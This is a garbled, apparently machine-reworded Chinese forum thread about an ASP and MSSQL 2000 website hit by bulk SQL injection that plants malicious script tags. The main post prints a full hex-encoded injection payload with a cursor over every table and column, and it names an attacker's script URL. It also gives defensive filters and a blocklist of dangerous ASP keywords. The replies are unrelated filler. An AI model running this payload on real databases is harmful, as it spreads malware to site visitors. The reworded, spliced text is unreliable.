兰色精灵 发表于 2015-1-16 22:16:47

MSSQL编程:ASP+MSSQL2000,数据库被批量注进了 <...

既能够作为一个单独的应用程序应用在客户端服务器网络环境中,也能够作为一个库而嵌入到其他的软件中。这阵子,接纳ASP+MSSQL计划的良多网站大概遭受到sql数据库被挂马者拔出JS木马的履历;这不,伴侣的一个网站就被黑客忽悠了一把,mssql的每一个varchar、text字段都被主动拔出一段js代码,即便删除这段代码,假如没有从泉源上办理,几分钟后,js代码就又会主动拔出数据库。

经由飘易的察看,这很有多是程序主动实行的,黑客先从搜刮引擎google、百度等搜刮存在毛病的接纳asp+mssql计划的网站,然后接纳小明子如许的注进扫描工具,扫描全部网站,一旦发明有sql注进的毛病大概上传毛病,黑客就经由过程各类手腕,上传本人的年夜马,如海阳木马;然后,黑客就把这个网站归入他的肉鸡列表,随时在数据库里到场本人但愿加的js代码,而这些代码常常是包括着浩瀚的的病毒、木马,终极让会见受控网站的用户的电脑中毒。

固然,能够经由过程sql查询剖析器实行批量代换,临时办理被拔出的js代码成绩,但是不从基本上办理全部网站存在的毛病,包含程序上和服务器平安权限,那末黑客仍是随时能够进侵你的网站数据库。

在sql查询剖析器里能够实行以下的代码批量交换js代码:


update表名set字段名=replace(字段名,<ScriptSrc=http://c.n%75clear3.com/css/c.js></Script>,)”

flymorn细心反省了网站,发明网站存在几个平安成绩:

第一,网站存在上传毛病;固然,上传文件必要办理员身份考证,也对上传文件举行了文件格局的认证,但办理员身份考证接纳了cookies,而cookies是能够被假造的,并且假如上传了图片后,不合错误该文件的内容接纳任何判别的话,那末图片木马也很有大概被上传。

办理措施:1删除上传文件功效(不太实践);2修正上传用户考证为session考证;3对上传后的文件内容举行考证,假如是图片木马,则删除;能够参考以下的考证代码:

===============判别上传文件是不是含不法字符串start================
setMyFile=server.CreateObject("Scripting.FileSystemObject")
setMyText=MyFile.OpenTextFile(Server.mappath(filePath),1)读取文本文件
sTextAll=lcase(MyText.ReadAll)
MyText.close
setMyFile=nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString=split(sStr,"|")
fori=0toubound(sNoString)
ifinstr(sTextAll,sNoString(i))then
setfiledel=server.CreateObject("Scripting.FileSystemObject")
filedel.deletefileServer.mappath(filePath)
setfiledel=nothing
Response.Write("<script>alert(您上传的文件有成绩,上传失利!);history.back();</script>")
Response.End
endif
next
=================判别上传文件是不是含不法字符串end===================

第二,网站存在cookies注进毛病。因为程序计划中,为了思索到减小服务器的开支,一切用户上岸后接纳cookies考证,这个cookies里保留了用户的ID和NAME,而尽人皆知,cookies是常常被黑客假造的,这是其一;别的,某些内部参数没有接纳严厉的request.form和request.querystring来猎取内容,为了烦琐,接纳了request("id")如许的体例。

我们晓得,ASP的request是先从form、querystring里猎取内容,假如这两个为空,则要从cookies里猎取内容,人人常常在程序计划中思索到了request.form和request.querystring的SQL注进,以是一样平常城市过滤request.form和request.querystring举行sql注进;但却恰恰忘了过滤cookies体例下的注进。我们来看下上面如许的sql语句:

SQL="select*from表名whereid="&request("id")

假如这个id刚巧是经由过程cookies来猎取值的,那末想一想,这是一件何等可骇的事啊!注进者能够轻松的假造一个名为id的子虚cookies,由于这个id的cookies是服务器分派给它的。这个cookies能够被假造成相似上面如许的一段代码:

dEcLaRe@svArChAr(4000);sEt@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206IT人才网网(http://it.ad0.cn)12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0aaSvArChAr(4000));exec(@s);--

看晕了吧。这是使用HEX的体例举行SQL注进,能够绕过一样平常的IDS考证,只需体系存在SQL注进,下面的代码将会被实行,经由过程游标遍历数据库中的一切表和列并在列中拔出js代码。

办理举措:1严厉过滤request.form和request.querystring猎取的内容,坚定不必request("name")如许的体例猎取值,但凡接纳cookies保留的内容,只管不要用在sql语句里举行查询数据库操纵;2主要的用户材料只管接纳session考证,由于session是服务器真个,客户端没法假造数据,除非他有你服务器的权限。

能够接纳以下的提防get、post和cookies注进的代码来过滤sql注进打击:

<%
Response.Buffer=True缓存页面
提防get注进
IfRequest.QueryString""ThenStopInjection(Request.QueryString)
提防post注进
IfRequest.Form""ThenStopInjection(Request.Form)
提防cookies注进
IfRequest.Cookies""ThenStopInjection(Request.Cookies)

正则子函数
FunctionStopInjection(Values)
DimregEx
SetregEx=NewRegExp
regEx.IgnoreCase=True
regEx.Global=True
regEx.Pattern="|;|#|(+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)*)"
DimsItem,sValue
ForEachsItemInValues
sValue=Values(sItem)
IfregEx.Test(sValue)Then
Response.Write"<ScriptLanguage=javascript>alert(不法注进!你的举动已被纪录!!);history.back(-1);</Script>"
Response.End
EndIf
Next
SetregEx=Nothing
Endfunction
%>

把以上的代码另存为一个文件,如antisql.asp,然后在数据库毗连文件开首包括这个文件<!--#includefile="antisql.asp"-->,就能够完成全站的提防sql注进的打击了。

第三,严厉过滤内部提交数据。判别提交页面的来历,假如不是以后站点,则回绝提交。能够参考以下的代码,固然来历网址能够假造,但有如许的判别,究竟能够反对那些没有手艺含量的歹意提交:

<%判别来历,克制内部提交
dimserver_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
ifserver_v1=""orinstr(server_v1,"宣布页面名")<=0ormid(server_v1,8,len(server_v2))server_v2then
response.write"<SCRIPTlanguage=JavaScript>alert(来历不法,克制内部提交!);"
response.write"this.location.href=vbscript:history.back();</SCRIPT>"
response.end
endif%>

第四,做好服务器权限的分派。关于数据库的权限,只管分派最小的权限给用户利用,假如把sa或办理员的权限分上去,一旦被打击失守,这将是一个扑灭性的冲击。mssql的1433端口,飘易倡议不必的时分,最好封闭。

总之,平安成绩是一个综合的成绩,一个小的细节,大概让你的几个月乃至几年的血汗付之东流。我们不但要从程序上动手每一个细节,并且要细心做好服务器的平安事情,关于假造主机的用户,还要提防服务器上的跨站打击。细节决意成败。既能够作为一个单独的应用程序应用在客户端服务器网络环境中,也能够作为一个库而嵌入到其他的软件中。

不帅 发表于 2015-1-19 06:31:26

如果,某一版本可以提供强大的并发响应,但是没有Oracle的相应版本稳定,或者价格较贵,那么,它就是不适合的。

金色的骷髅 发表于 2015-1-25 14:58:23

对递归类的树遍历很有帮助。个人感觉这个真是太棒了!阅读清晰,非常有时代感。

莫相离 发表于 2015-2-2 22:36:21

无法深入到数据库系统层面去了解和探究

飘灵儿 发表于 2015-2-8 18:09:32

学习SQL语言的话如果要学会去做网站就不是很难!但是要做数据库管理的话就有难度了!

只想知道 发表于 2015-2-25 22:29:30

对于数据库来说,查询是数据库的灵魂,那么SQL查询效率究竟效率如何呢?下文将带对SQL查询的相关问题进行讨论,供您参考。

透明 发表于 2015-3-8 09:11:33

你可以简单地认为适合的就是好,不适合就是不好。

小魔女 发表于 2015-3-15 22:05:44

所以你总能得到相应的升级版本,来满足你的需求。

乐观 发表于 2015-3-22 06:06:23

再开发调试阶段和OLAP环境中,外键是可以建立的。新版本中加入了SETNULL和SETDEFAULT属性,能够提供能好的级联设置。
页: [1]
查看完整版本: MSSQL编程:ASP+MSSQL2000,数据库被批量注进了 <...